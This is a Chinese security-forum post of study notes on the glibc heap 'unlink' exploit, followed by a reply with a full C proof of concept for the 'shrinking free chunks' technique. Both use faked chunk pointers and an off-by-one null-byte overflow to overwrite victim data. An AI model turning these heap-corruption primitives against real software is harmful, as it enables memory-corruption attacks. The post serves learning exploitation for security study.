首页
社区
课程
招聘
Unlink Exploit 笔记
发表于: 2020-4-29 21:59 6893

Unlink Exploit 笔记

2020-4-29 21:59
6893

最近论坛里,栈溢出、堆溢出漏洞利用的原创又流行起来了。
通过evilpan的帖子,点进了这篇文章:Unlink Exploit,竟然卡住了!我想,经常在看雪游走的我都能卡住,全国90%的用户也都会被卡住吧(怎么不能发“呲牙”的表情了)。
吹完了,紧接着开始记笔记:

fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
Carefully, try to understand how P->fd->bk == P and P->bk->fd == P checks are passed. This shall give an intuition regarding how to adjust the fd and bk pointers of the fake chunk.
Set P->fd->bk = P->bk
Set P->bk->fd = P->fd
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;   // hex for "hacked!"
printf("%s\n", data);         // Prints "hacked!"
  1. 这篇文章针对于动态分配的chunk1有溢出漏洞的程序,并且要有一个相邻且会落于同一个smallbin的chunk2,实际攻击场景中,肯定没有机会像示例程序这样用代码去构造内存,是通过交互时的输入数据构造;
  2. 通过写溢出,将chunk2_hdr->prev_size设置为0x80,这样chunk2的前一个chunk_hdr的起始位置,就不是原来正统的地主了,而是会变成chunk1指向的地方,因交互数据可以控制的位置,也是从chunk1开始的;
  3. 以下两行代码,用于绕过malloc()内部的异常检测:
    fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
    fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
    
    怎么绕过的呢?文章里说:"你们仔细的体会一下,就能知道了"
    Carefully, try to understand how P->fd->bk == P and P->bk->fd == P checks are passed. This shall give an intuition regarding how to adjust the fd and bk pointers of the fake chunk.
    
    看起来是废话,其实不是。晚上和同事一起吃饭的时候,我最先吃好了,就顺便仔细体会了一下,结果真的就知道了!上述两行代码执行后,红框、蓝框里面,就是我们伪造的chunk的fd和bk了,然后他们各自的bk和fd,正好又都是chunk1!

  4. 由于通过溢出构造,将chunk2->prev_in_use也设置为1了,所以释放chunk2的时候,malloc的内部逻辑,会让chunk1也连带着一起被释放,同时执行:
    Set P->fd->bk = P->bk
    Set P->bk->fd = P->fd
    
    这样一说,应该很容易就能明白了,P是"伪造chunk",P->fd是"红框chunk",P->bk是"蓝框chunk",又由于"红框chunk"->bk和"蓝框chunk"->fd都是chunk1,所以最"伪造chunk"->fd,即chunk1-3,赋值给了"红框chunk"->fd,即chunk1:
  5. 基本的c内存操作
    chunk1[3] = (unsigned long long)data;
    strcpy(data, "Victim's data");
    // Overwrite victim's data using chunk1
    chunk1[0] = 0x002164656b636168LL;   // hex for "hacked!"
    printf("%s\n", data);         // Prints "hacked!"
    
    chunk1[3] = (unsigned long long)data; // 等价于:chunk1=data
    chunk1[0] = 0x002164656b636168LL; // 等价于:((unsigned long long *)data)[0]=0x002164656b636168LL,所以间接的将data[]中的内容修改成了"hacked!"

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2020-4-29 22:05 被jmpcall编辑 ,原因: 格式
收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 3344
活跃值: (10982)
能力值: ( LV9,RANK:240 )
在线值:
发帖
回帖
粉丝
2

原文:Shrinking Free Chunks


这篇帖子中的代码有问题,需要添加一行代码:

*(size_t*)(b + 0x200 - sizeof(size_t)*2) = 0x200;

完整代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[19];               // padding
};

int main()
{
  void *a, *b, *c, *b1, *b2, *big;
  struct chunk_structure *b_chunk, *c_chunk;

  // Grab three consecutive chunks in memory
  a = malloc(0x100);                            // at 0xfee010
  b = malloc(0x200);                            // at 0xfee120
  c = malloc(0x100);                            // at 0xfee330

  b_chunk = (struct chunk_structure *)(b - 2*sizeof(size_t));
  c_chunk = (struct chunk_structure *)(c - 2*sizeof(size_t));

  // 避免编译时产生告警
  (void)a;
  (void)c_chunk;

  // free b, now there is a large gap between 'a' and 'c' in memory
  // b will end up in unsorted bin
  free(b);

  // Attacker overflows 'a' and overwrites least significant byte of b's size
  // with 0x00. This will decrease b's size.
  *(char *)&b_chunk->size = 0x00;

  // 避免malloc()检查异常:corrupted size vs. prev_size
  *(size_t*)(b + 0x200 - sizeof(size_t)*2) = 0x200;
  //*(((size_t*)c_chunk)-2) = 0x200;

  // Allocate another chunk
  // 'b' will be used to service this chunk.
  // c's previous size will not updated. In fact, the update will be done a few
  // bytes before c's previous size as b's size has decreased.
  // So, b + b->size is behind c.
  // c will assume that the previous chunk (c - c->prev_size = b/b1) is free
  b1 = malloc(0x80);                           // at 0xfee120

  // Allocate another chunk
  // This will come directly after b1
  b2 = malloc(0x80);                           // at 0xfee1b0
  strcpy(b2, "victim's data");

  // Free b1
  free(b1);

  // Free c
  // This will now consolidate with b/b1 thereby merging b2 within it
  // This is because c's prev_in_use bit is still 0 and its previous size
  // points to b/b1
  free(c);

  // Allocate a big chunk to cover b2's memory as well
  big = malloc(0x200);                          // at 0xfee120
  memset(big, 0x41, 0x200 - 1);

  printf("%s\n", (char *)b2);       // Prints AAAAAAAAAAA... !
  return 0;
}


2020-5-9 10:15
0
游客
登录 | 注册 方可回帖
返回
//